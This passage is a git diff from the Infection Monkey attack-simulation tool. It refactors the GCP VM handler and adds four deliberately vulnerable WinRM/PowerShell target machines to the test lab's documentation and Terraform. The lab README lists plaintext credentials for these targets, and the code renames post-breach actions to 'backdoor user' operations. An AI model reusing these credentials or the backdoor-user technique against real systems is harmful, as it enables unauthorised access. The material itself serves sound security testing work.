from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth
|
||||
|
@ -40,6 +41,7 @@ CONFIG_TEMPLATES = [
|
|||
Hadoop,
|
||||
Mssql,
|
||||
Performance,
|
||||
PowerShell,
|
||||
ShellShock,
|
||||
SmbMimikatz,
|
||||
SmbPth,
|
||||
|
|
|
@ -1,76 +1,81 @@
|
|||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
from multiprocessing.dummy import Pool
|
||||
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s"
|
||||
SET_PROPERTY_PROJECT = "gcloud config set project %s"
|
||||
MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s"
|
||||
MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s"
|
||||
|
||||
class GCPHandler(object):
|
||||
AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s"
|
||||
SET_PROPERTY_PROJECT = "gcloud config set project %s"
|
||||
MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s"
|
||||
MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s"
|
||||
# Key path location relative to this file's directory
|
||||
RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json"
|
||||
DEFAULT_PROJECT = "guardicore-22050661"
|
||||
|
||||
# Key path location relative to this file's directory
|
||||
RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json"
|
||||
DEFAULT_ZONE = "europe-west3-a"
|
||||
DEFAULT_PROJECT = "guardicore-22050661"
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
zone=DEFAULT_ZONE,
|
||||
project_id=DEFAULT_PROJECT,
|
||||
):
|
||||
self.zone = zone
|
||||
abs_key_path = GCPHandler.get_absolute_key_path()
|
||||
def initialize_gcp_client():
|
||||
abs_key_path = get_absolute_key_path()
|
||||
|
||||
subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116
|
||||
LOGGER.info("GCP Handler passed key")
|
||||
subprocess.call(get_auth_command(abs_key_path), shell=True) # noqa: DUO116
|
||||
LOGGER.info("GCP Handler passed key")
|
||||
|
||||
subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116
|
||||
LOGGER.info("GCP Handler set project")
|
||||
LOGGER.info("GCP Handler initialized successfully")
|
||||
subprocess.call(get_set_project_command(DEFAULT_PROJECT), shell=True) # noqa: DUO116
|
||||
LOGGER.info("GCP Handler set project")
|
||||
LOGGER.info("GCP Handler initialized successfully")
|
||||
|
||||
@staticmethod
|
||||
def get_absolute_key_path() -> str:
|
||||
file_dir = os.path.dirname(os.path.realpath(__file__))
|
||||
absolute_key_path = os.path.join(file_dir, GCPHandler.RELATIVE_KEY_PATH)
|
||||
absolute_key_path = os.path.realpath(absolute_key_path)
|
||||
|
||||
if not os.path.isfile(absolute_key_path):
|
||||
raise FileNotFoundError(
|
||||
"GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json"
|
||||
)
|
||||
return absolute_key_path
|
||||
def get_absolute_key_path() -> str:
|
||||
file_dir = os.path.dirname(os.path.realpath(__file__))
|
||||
absolute_key_path = os.path.join(file_dir, RELATIVE_KEY_PATH)
|
||||
absolute_key_path = os.path.realpath(absolute_key_path)
|
||||
|
||||
def start_machines(self, machine_list):
|
||||
"""
|
||||
Start all the machines in the list.
|
||||
:param machine_list: A space-separated string with all the machine names. Example:
|
||||
start_machines(`" ".join(["elastic-3", "mssql-16"])`)
|
||||
"""
|
||||
LOGGER.info("Setting up all GCP machines...")
|
||||
try:
|
||||
subprocess.call( # noqa: DUO116
|
||||
(GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True
|
||||
)
|
||||
LOGGER.info("GCP machines successfully started.")
|
||||
except Exception as e:
|
||||
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
|
||||
if not os.path.isfile(absolute_key_path):
|
||||
raise FileNotFoundError(
|
||||
"GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json"
|
||||
)
|
||||
return absolute_key_path
|
||||
|
||||
def stop_machines(self, machine_list):
|
||||
try:
|
||||
subprocess.call( # noqa: DUO116
|
||||
(GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True
|
||||
)
|
||||
LOGGER.info("GCP machines stopped successfully.")
|
||||
except Exception as e:
|
||||
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
|
||||
|
||||
@staticmethod
|
||||
def get_auth_command(key_path):
|
||||
return GCPHandler.AUTHENTICATION_COMMAND % key_path
|
||||
def start_machines(machine_list):
|
||||
"""
|
||||
Start all the machines in the list.
|
||||
:param machine_list: A dictionary with zone and machines per zone.
|
||||
"""
|
||||
LOGGER.info("Setting up all GCP machines...")
|
||||
try:
|
||||
run_gcp_pool(MACHINE_STARTING_COMMAND, machine_list)
|
||||
LOGGER.info("GCP machines successfully started.")
|
||||
except Exception as e:
|
||||
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
|
||||
|
||||
@staticmethod
|
||||
def get_set_project_command(project):
|
||||
return GCPHandler.SET_PROPERTY_PROJECT % project
|
||||
|
||||
def stop_machines(machine_list):
|
||||
try:
|
||||
run_gcp_pool(MACHINE_STOPPING_COMMAND, machine_list)
|
||||
LOGGER.info("GCP machines stopped successfully.")
|
||||
except Exception as e:
|
||||
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
|
||||
|
||||
|
||||
def get_auth_command(key_path):
|
||||
return AUTHENTICATION_COMMAND % key_path
|
||||
|
||||
|
||||
def get_set_project_command(project):
|
||||
return SET_PROPERTY_PROJECT % project
|
||||
|
||||
|
||||
def run_gcp_command(arglist):
|
||||
gcp_cmd, machine_list, zone = arglist
|
||||
subprocess.call( # noqa DUO116
|
||||
(gcp_cmd % (" ".join(machine_list), zone)),
|
||||
shell=True,
|
||||
)
|
||||
|
||||
|
||||
def run_gcp_pool(gcp_command, machine_list):
|
||||
arglist = [(gcp_command, machine_list[zone], zone) for zone in machine_list]
|
||||
with Pool(2) as pool:
|
||||
pool.map(run_gcp_command, arglist)
|
||||
|
|
|
@ -30,8 +30,13 @@ This document describes Infection Monkey’s test network, how to deploy and use
|
|||
[Nr. 22 Scan](#_Toc526517197)<br>
|
||||
[Nr. 23 Struts2](#_Toc536021476)<br>
|
||||
[Nr. 24 Struts2](#_Toc536021477)<br>
|
||||
[Nr. 250 MonkeyIsland](#_Toc536021478)<br>
|
||||
[Nr. 251 MonkeyIsland](#_Toc536021479)<br>
|
||||
[Nr. 25 Zerologon](#_Toc536021478)<br>
|
||||
[Nr. 3-45 Powershell](#_Toc536021479)<br>
|
||||
[Nr. 3-46 Powershell](#_Toc536021480)<br>
|
||||
[Nr. 3-47 Powershell](#_Toc536021481)<br>
|
||||
[Nr. 3-48 Powershell](#_Toc536021482)<br>
|
||||
[Nr. 250 MonkeyIsland](#_Toc536021483)<br>
|
||||
[Nr. 251 MonkeyIsland](#_Toc536021484)<br>
|
||||
[Network topography](#network-topography)<br>
|
||||
|
||||
# Warning\!
|
||||
|
@ -117,7 +122,7 @@ To deploy the network run:<br>
|
|||
|
||||
# Using islands:
|
||||
|
||||
###How to get into the islands:
|
||||
### How to get into the islands:
|
||||
|
||||
**island-linux-250:** SSH from GCP
|
||||
|
||||
|
@ -125,14 +130,22 @@ To deploy the network run:<br>
|
|||
island-windows-251. Set password for your account and then RDP into
|
||||
the island.
|
||||
|
||||
###These are most common steps on monkey islands:
|
||||
### These are most common steps on monkey islands:
|
||||
|
||||
####island-linux-250:
|
||||
### For users
|
||||
|
||||
To run monkey island:<br>
|
||||
Upload the AppImage deployment option and run it in island-linux-250.
|
||||
Or upload the MSI deployment option, install it and run it in island-windows-251.
|
||||
After that use the Monkey as you would on local network.
|
||||
|
||||
### For developers
|
||||
|
||||
#### island-linux-250:
|
||||
|
||||
To run monkey island from source:<br>
|
||||
`sudo /usr/run\_island.sh`<br>
|
||||
|
||||
To run monkey:<br>
|
||||
To run monkey from source:<br>
|
||||
`sudo /usr/run\_monkey.sh`<br>
|
||||
|
||||
To update repository:<br>
|
||||
|
@ -142,12 +155,12 @@ Update all requirements using deployment script:<br>
|
|||
1\. `cd /usr/infection_monkey/deployment_scripts`<br>
|
||||
2\. `./deploy_linux.sh "/usr/infection_monkey" "develop"`<br>
|
||||
|
||||
####island-windows-251:
|
||||
#### island-windows-251:
|
||||
|
||||
To run monkey island:<br>
|
||||
To run monkey island from source:<br>
|
||||
Execute C:\\run\_monkey\_island.bat as administrator
|
||||
|
||||
To run monkey:<br>
|
||||
To run monkey from source:<br>
|
||||
Execute C:\\run\_monkey.bat as administrator
|
||||
|
||||
To update repository:<br>
|
||||
|
@ -156,15 +169,8 @@ To update repository:<br>
|
|||
3\. `git pull` (updates develop branch)<br>
|
||||
|
||||
Update all requirements using deployment script:<br>
|
||||
1. `cd C:\infection_monkey\deployment_scripts`<br>
|
||||
2. `./run_script.bat "C:\infection_monkey" "develop"`
|
||||
|
||||
# Running tests:
|
||||
|
||||
Once you start monkey island you can import test configurations from
|
||||
../monkey/envs/configs.
|
||||
|
||||
fullTest.conf is a good config to start, because it covers all machines.
|
||||
1\. `cd C:\infection_monkey\deployment_scripts`<br>
|
||||
2\. `./run_script.bat "C:\infection_monkey" "develop"`<br>
|
||||
|
||||
# Machines:
|
||||
|
||||
|
@ -276,10 +282,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td><a href="https://www.elastic.co/guide/en/elasticsearch/reference/1.4/_index_and_query_a_document.html">Quick</a> tutorial on how to add entries (was useful when setting up).</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -357,10 +359,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -433,10 +431,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td>Vulnerable app is under /cgi-bin/test.cgi</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -613,10 +607,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -653,10 +643,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td>Don’t add this machine’s credentials to exploit configuration.</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -695,10 +681,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -765,10 +747,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td>If you change this machine’s IP it won’t get exploited.</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -839,10 +817,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -985,10 +959,6 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td>Used to scan a machine that has no vulnerabilities (to evaluate scanning speed for e.g.)</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
@ -1093,17 +1063,13 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p>Nr. <strong>25</strong> ZeroLogon</p>
|
||||
<th><p><span id="_Toc536021478" class="anchor"></span>Nr. <strong>25</strong> ZeroLogon </p>
|
||||
<p>(10.2.2.25)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
|
@ -1123,7 +1089,119 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021478" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
|
||||
<th><p><span id="_Toc536021479" class="anchor"></span>Nr. <strong>3-45 Powershell</strong></p>
|
||||
<p>(10.2.3.45)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>WinRM service</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>-</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: Passw0rd!<br>User: m0nk3y-user, No Password.</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021480" class="anchor"></span>Nr. <strong>3-46 Powershell</strong></p>
|
||||
<p>(10.2.3.46)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>WinRM service</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>-</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: Passw0rd!</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021481" class="anchor"></span>Nr. <strong>3-47 Powershell</strong></p>
|
||||
<p>(10.2.3.47)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>WinRM service</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>-</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: Xk8VDTsC</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021482" class="anchor"></span>Nr. <strong>3-48 Powershell</strong></p>
|
||||
<p>(10.2.3.48)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2019 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>WinRM service</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>-</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: Passw0rd!</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021483" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
|
||||
<p>(10.2.2.250)</p></th>
|
||||
<th></th>
|
||||
</tr>
|
||||
|
@ -1149,20 +1227,18 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td>Only accessible trough GCP</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021478" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
|
||||
<th><p><span id="_Toc536021484" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
|
||||
<p>(10.2.2.251)</p></th>
|
||||
<th></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
|
@ -1183,13 +1259,9 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>Notes:</td>
|
||||
<td>Only accessible trough GCP</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
# Network topography:
|
||||
|
||||
<img src="/envs/monkey_zoo/docs/images/networkTopography.jpeg" >
|
||||
<img src="/envs/monkey_zoo/docs/images/networkTopography.jpg" >
|
||||
|
|
|
@ -37,6 +37,10 @@ data "google_compute_image" "tunneling-11" {
|
|||
name = "tunneling-11"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "tunneling-12" {
|
||||
name = "tunneling-12"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "sshkeys-11" {
|
||||
name = "sshkeys-11"
|
||||
project = local.monkeyzoo_project
|
||||
|
@ -57,6 +61,22 @@ data "google_compute_image" "mssql-16" {
|
|||
name = "mssql-16"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "powershell-3-48" {
|
||||
name = "powershell-3-48"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "powershell-3-47" {
|
||||
name = "powershell-3-47"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "powershell-3-46" {
|
||||
name = "powershell-3-46"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "powershell-3-45" {
|
||||
name = "powershell-3-45"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "weblogic-18" {
|
||||
name = "weblogic-18"
|
||||
project = local.monkeyzoo_project
|
||||
|
|
|
@ -26,6 +26,12 @@ resource "google_compute_subnetwork" "monkeyzoo-main" {
|
|||
network = google_compute_network.monkeyzoo.self_link
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "monkeyzoo-main-1" {
|
||||
name = "${local.resource_prefix}monkeyzoo-main-1"
|
||||
ip_cidr_range = "10.2.3.0/24"
|
||||
network = google_compute_network.monkeyzoo.self_link
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "tunneling-main" {
|
||||
name = "${local.resource_prefix}tunneling-main"
|
||||
ip_cidr_range = "10.2.1.0/28"
|
||||
|
@ -307,6 +313,66 @@ resource "google_compute_instance_from_template" "mssql-16" {
|
|||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "powershell-3-48" {
|
||||
name = "${local.resource_prefix}powershell-3-48"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.powershell-3-48.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||
network_ip="10.2.3.48"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "powershell-3-47" {
|
||||
name = "${local.resource_prefix}powershell-3-47"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.powershell-3-47.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||
network_ip="10.2.3.47"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "powershell-3-46" {
|
||||
name = "${local.resource_prefix}powershell-3-46"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.powershell-3-46.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||
network_ip="10.2.3.46"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "powershell-3-45" {
|
||||
name = "${local.resource_prefix}powershell-3-45"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.powershell-3-45.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.45"
|
||||
}
|
||||
}
|
||||
|
||||
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
|
||||
resource "google_compute_instance_from_template" "upgrader-17" {
|
||||
name = "${local.resource_prefix}upgrader-17"
|
||||
|
|
|
@ -1 +1 @@
|
|||
release
|
||||
dev
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
|
||||
POST_BREACH_BACKDOOR_USER = "Backdoor user"
|
||||
POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER = "Communicate as backdoor user"
|
||||
POST_BREACH_FILE_EXECUTION = "File execution"
|
||||
POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = "Modify shell startup file"
|
||||
POST_BREACH_HIDDEN_FILES = "Hide files and directories"
|
||||
|
|
|
@ -40,7 +40,7 @@ TEST_SCHEDULED_EXECUTION = "scheduled_execution"
|
|||
TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline"
|
||||
TEST_SEGMENTATION = "segmentation"
|
||||
TEST_TUNNELING = "tunneling"
|
||||
TEST_COMMUNICATE_AS_NEW_USER = "communicate_as_new_user"
|
||||
TEST_COMMUNICATE_AS_BACKDOOR_USER = "communicate_as_backdoor_user"
|
||||
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES = "scoutsuite_permissive_firewall_rules"
|
||||
TEST_SCOUTSUITE_UNENCRYPTED_DATA = "scoutsuite_unencrypted_data"
|
||||
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION = "scoutsuite_data_loss_prevention"
|
||||
|
@ -58,7 +58,7 @@ TESTS = (
|
|||
TEST_DATA_ENDPOINT_HTTP,
|
||||
TEST_DATA_ENDPOINT_ELASTIC,
|
||||
TEST_TUNNELING,
|
||||
TEST_COMMUNICATE_AS_NEW_USER,
|
||||
TEST_COMMUNICATE_AS_BACKDOOR_USER,
|
||||
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES,
|
||||
TEST_SCOUTSUITE_UNENCRYPTED_DATA,
|
||||
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION,
|
||||
|
@ -206,7 +206,7 @@ TESTS_MAP = {
|
|||
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED],
|
||||
},
|
||||
TEST_COMMUNICATE_AS_NEW_USER: {
|
||||
TEST_COMMUNICATE_AS_BACKDOOR_USER: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate "
|
||||
"with the internet from it.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
|
|
|
@ -5,7 +5,7 @@ import socket
|
|||
import struct
|
||||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class NetworkRange(object, metaclass=ABCMeta):
|
||||
|
@ -174,7 +174,7 @@ class SingleIpRange(NetworkRange):
|
|||
ip = socket.gethostbyname(string_)
|
||||
domain_name = string_
|
||||
except socket.error:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Your specified host: {} is not found as a domain name and"
|
||||
" it's not an IP address".format(string_)
|
||||
)
|
||||
|
|
|
@ -1,30 +0,0 @@
|
|||
import sys
|
||||
|
||||
if sys.platform.startswith("win"):
|
||||
import pythoncom
|
||||
|
||||
pythoncom.CoInitialize()
|
||||
import wmi
|
||||
|
||||
from .mongo_utils import MongoUtils
|
||||
|
||||
|
||||
class WMIUtils:
|
||||
def __init__(self):
|
||||
# Static class
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None):
|
||||
_wmi = wmi.WMI(moniker=moniker)
|
||||
|
||||
try:
|
||||
if not properties:
|
||||
wmi_class = getattr(_wmi, class_name)()
|
||||
else:
|
||||
wmi_class = getattr(_wmi, class_name)(properties)
|
||||
|
||||
except wmi.x_wmi:
|
||||
return
|
||||
|
||||
return MongoUtils.fix_obj_for_mongo(wmi_class)
|
|
@ -4,8 +4,9 @@ import argparse
|
|||
from pathlib import Path
|
||||
|
||||
MAJOR = "1"
|
||||
MINOR = "11"
|
||||
MINOR = "12"
|
||||
PATCH = "0"
|
||||
|
||||
build_file_path = Path(__file__).parent.joinpath("BUILD")
|
||||
with open(build_file_path, "r") as build_file:
|
||||
BUILD = build_file.read()
|
||||
|
|
|
@ -23,12 +23,14 @@ pymssql = "==2.1.5"
|
|||
pypykatz = "==0.3.12"
|
||||
pysmb = "==1.2.5"
|
||||
requests = ">=2.24"
|
||||
urllib3 = "==1.25.8"
|
||||
urllib3 = "==1.26.5"
|
||||
simplejson = "*"
|
||||
"WinSys-3.x" = ">=0.5.2"
|
||||
WMI = {version = "==1.5.1", sys_platform = "== 'win32'"}
|
||||
ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
|
||||
pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
|
||||
pypsrp = "*"
|
||||
typing-extensions = "*"
|
||||
|
||||
[dev-packages]
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"_meta": {
|
||||
"hash": {
|
||||
"sha256": "1c464331fa9697084cb9fac3a2f6cf5fca45fa63c528928318f1031acd0f5eff"
|
||||
"sha256": "43cdbb12fe6858c82a2fffa8dd1c38292b02dd326d2fa82cc8c1ab48a9d5b262"
|
||||
},
|
||||
"pipfile-spec": 6,
|
||||
"requires": {
|
||||
|
@ -18,19 +18,19 @@
|
|||
"default": {
|
||||
"aiowinreg": {
|
||||
"hashes": [
|
||||
"sha256:096663ec3db35fdc7ccc1c2d0d64a11cf64f4baa48955088e42b6a649ce418a5",
|
||||
"sha256:2947556c73975f51fd8154e7242f36a508cd4eaca5f919c06916cb0e331a0733"
|
||||
"sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2",
|
||||
"sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==0.0.5"
|
||||
"version": "==0.0.7"
|
||||
},
|
||||
"altgraph": {
|
||||
"hashes": [
|
||||
"sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa",
|
||||
"sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe"
|
||||
"sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857",
|
||||
"sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==0.17"
|
||||
"version": "==0.17.2"
|
||||
},
|
||||
"asn1crypto": {
|
||||
"hashes": [
|
||||
|
@ -48,11 +48,11 @@
|
|||
},
|
||||
"asysocks": {
|
||||
"hashes": [
|
||||
"sha256:6dc794b3ce4a254472d9c234ddda9341f8b9893dbd4254318be8897b491e66a6",
|
||||
"sha256:ec4cd200b009731f013475f8e0579e8923d17137bd5051d743822848ac4c53cc"
|
||||
"sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2",
|
||||
